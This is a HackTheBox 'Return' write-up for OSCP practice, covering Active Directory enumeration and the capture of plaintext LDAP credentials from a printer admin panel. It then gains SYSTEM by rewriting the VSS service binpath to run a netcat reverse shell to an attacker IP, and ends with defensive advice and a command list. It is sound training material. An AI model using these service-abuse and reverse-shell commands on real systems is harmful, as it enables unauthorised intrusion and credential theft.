# OSCP Prep #16
HTB Write-Up Return

# 1\. Target Overview

**Machine Name:** Return  
**Platform:** HackTheBox  
**Operating System:** Windows  
**Target IP:** 10.129.95.241  
**Objective:** Gain initial access and escalate privileges to SYSTEM within an Active Directory environment.

Return is a Windows Active Directory machine that, on the surface, exposes standard enterprise services like LDAP, SMB, and Kerberos. What made this box stand out to me is how realistic it felt—everything revolved around a misconfigured service and poor credential handling rather than some flashy exploit. It forced me to slow down, pay attention to details, and think through how services actually communicate.

### Tools Used

*   Nmap
    
*   NetExec (nxc)
    
*   rpcclient
    
*   Kerbrute
    
*   ffuf
    
*   Burp Suite
    
*   Netcat
    
*   Evil-WinRM
    

* * *

# 2\. Enumeration

### Initial Enumeration

I started with an Nmap scan and immediately saw this was a typical Active Directory environment. LDAP (389), Kerberos (88), SMB (445), and a web server on port 80 were all exposed. The presence of an FQDN (`return.local`) confirmed domain functionality.

I added the domain to my `/etc/hosts` file to ensure proper resolution before continuing.

* * *

### SMB Enumeration

I attempted anonymous SMB enumeration:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/dd514a5f-111e-43e2-b598-e8c6be6bc342.png align="center")

*   Null authentication was allowed
    
*   Share enumeration failed with `STATUS_ACCESS_DENIED`
    

This told me SMB was present but locked down properly—no easy wins here.

* * *

### RPC Enumeration

Next, I tried anonymous RPC enumeration:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/84e4ce1a-1e11-41fd-9b34-fbccc62b6784.png align="center")

*   Attempted `enumdomusers`
    
*   Access was denied
    

Again, nothing exposed anonymously.

* * *

### LDAP Enumeration

I attempted LDAP user enumeration:

*   LDAP bind failed due to lack of authentication
    
*   No anonymous access allowed
    

At this point, it was clear: **no anonymous enumeration path was going to work on this box.**

* * *

### Web Enumeration

Since infrastructure enumeration was blocked, I shifted focus to the web server.

Running `ffuf` revealed several `.php` endpoints, indicating a dynamic web application.

When I visited the site, I found something interesting—a **printer admin panel**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b64a15df-db0f-44fa-ad29-ce3acaf85b42.png align="center")

Inside the settings page, I noticed:

*   Server Address
    
*   Port (389)
    
*   Username: `svc-printer`
    
*   Password field (masked)
    

This immediately stood out. Service accounts exposed in web apps are always worth investigating.

* * *

### Kerberos Enumeration

I used `kerbrute` to validate the username:

*   `svc-printer` was confirmed as a valid domain user
    

I attempted AS-REP roasting, but it failed—so no luck there.

* * *

### Potential Vulnerability Identified

At this point, the key observation was:

*   The web app allows updating a **server address**
    
*   It references **LDAP (port 389)**
    
*   It uses a **service account (svc-printer)**
    

This strongly suggested the application might be attempting authentication against whatever server I supply.

# 3\. Exploitation

### Initial Foothold

I intercepted the request to `/settings.php` using Burp Suite and noticed something important:

*   The POST request only contained a field for the **server IP**
    

My initial thought was to replace this with my attacking machine and catch a connection.

I first tried:

*   Netcat listener on port 80 → **no response**
    

Then I corrected my mistake:

*   The application explicitly referenced **port 389 (LDAP)**
    

So I switched my listener:

```plaintext
nc -nvlp 389
```

This time, I received a connection from the target.

### Credential Capture

The application attempted to authenticate to my listener using:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5e0646ae-c563-4e76-bc7b-3ad619cdd76f.png align="center")

*   Username: `svc-printer`
    
*   Password: **plaintext**
    

This was the foothold.

**Key takeaway:**  
I was tunnel-visioned on HTTP, but the application logic was using LDAP. The port number was right in front of me the whole time.

* * *

### User Access

With credentials in hand, I tested WinRM access:

*   `svc-printer` had WinRM access → successful login via Evil-WinRM
    

I now had a shell as a domain user.

* * *

### Post-Compromise Validation

I enumerated the domain:

*   Only one other user: Administrator
    

This hinted that privilege escalation would likely be local rather than domain-based.

* * *

# 4\. Privilege Escalation

### Local Enumeration

I followed my Windows privilege escalation checklist:

*   Checked for autologon credentials → none found
    
    ![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7fb4bd0b-a7d0-4390-8ade-4be3a1437660.png align="center")
    
*   Checked user directories → nothing useful
    

* * *

### User Context Review

Running:

```plaintext
whoami /all
```

Revealed something critical:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/857ecf77-f827-457c-a44b-311afbf11840.png align="center")

*   User is a member of **Server Operators**
    

This is a high-value group.

* * *

### Privilege Escalation Path

Members of **Server Operators** can:

*   Start/stop services
    
*   Modify service configurations
    
*   Execute binaries as SYSTEM
    

This is essentially a direct path to SYSTEM if abused correctly.

* * *

### Exploitation via Services

I uploaded `nc.exe` to the target and modified the **Volume Shadow Copy (VSS)** service:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2603b8df-8cf2-43ca-8848-e8576265ac4b.png align="center")

```plaintext
sc.exe config VSS binpath= "C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
sc.exe start VSS
```

This triggered a reverse shell.

* * *

### Shell Stability Issue

The initial shell was unstable.

Reason:

*   Windows expects services to behave in a specific way
    
*   If they don’t, they get terminated
    

### Stable Shell Workaround

To fix this, I wrapped the payload in `cmd.exe`:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/66ccd136-fdd8-4719-8de4-6d7e3460d011.png align="center")

```plaintext
sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
```

This worked because:

*   The service starts `cmd.exe` (valid behavior)
    
*   `cmd.exe` spawns netcat as a child process
    
*   Even if the service dies, the shell persists
    

* * *

### SYSTEM Access

After triggering the service again, I received a stable shell:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/208a7b33-ceb1-43f3-ada7-7dbabc8bee22.png align="center")

```plaintext
nt authority\system
```

Full compromise.

* * *

# 5\. Lessons Learned

### **1\. Avoid Tunnel Vision**

I initially assumed everything would communicate over HTTP. That was wrong.

The application clearly showed port 389, and once I aligned my testing with that, everything worked.

* * *

### 2\. Always Trust What the Application Tells You

The web interface literally gave me:

Protocol (LDAP) Port (389) Username (svc-printer)

That’s not decoration—that’s attack surface.

* * *

### 3\. Server Operators = High Value

This group is extremely powerful.

If you see it, treat it the same way you would:

SeImpersonatePrivilege WriteDACL GenericAll

It’s basically a built-in privesc path.

* * *

### 4\. Service Abuse is a Reliable Privesc Vector

Using sc.exe to modify services is:

Simple Reliable Extremely effective

This is something I’ll actively look for going forward.

* * *

### 5\. Shell Stability Matters

Getting a shell is not enough.

Understanding why it dies and how to stabilize it is what separates a working exploit from a reliable one.

# 6\. Defensive Insight

### **1\. Never Store or Transmit Credentials in Plaintext**

The printer service leaked credentials over LDAP without encryption.

This is a critical failure.

* * *

### **2\. Restrict Service Account Permissions**

The `svc-printer` account had:

*   WinRM access
    
*   Membership in Server Operators
    

That’s excessive privilege for a service account.

* * *

### **3\. Secure Service Configuration Permissions**

Allowing non-admin users to modify services is dangerous.

This is a direct escalation path.

* * *

### **4\. Enforce LDAP Signing and Encryption**

LDAP without signing allows credential interception.

This should always be enforced in production environments.

# 7\. Useful Commands

### Enumeration

```plaintext
nxc smb <target> -u '' -p '' --shares
rpcclient -U "" -N <target>
nxc ldap <target> --users
kerbrute userenum -d return.local users.txt
```

### Exploitation

```plaintext
nc -nvlp 389
```

### Privilege Escalation

```plaintext
whoami /all
sc.exe config <service> binpath= "<payload>"
sc.exe start <service>
```

### Active Directory

```plaintext
evil-winrm -i <target> -u svc-printer -p <password>
```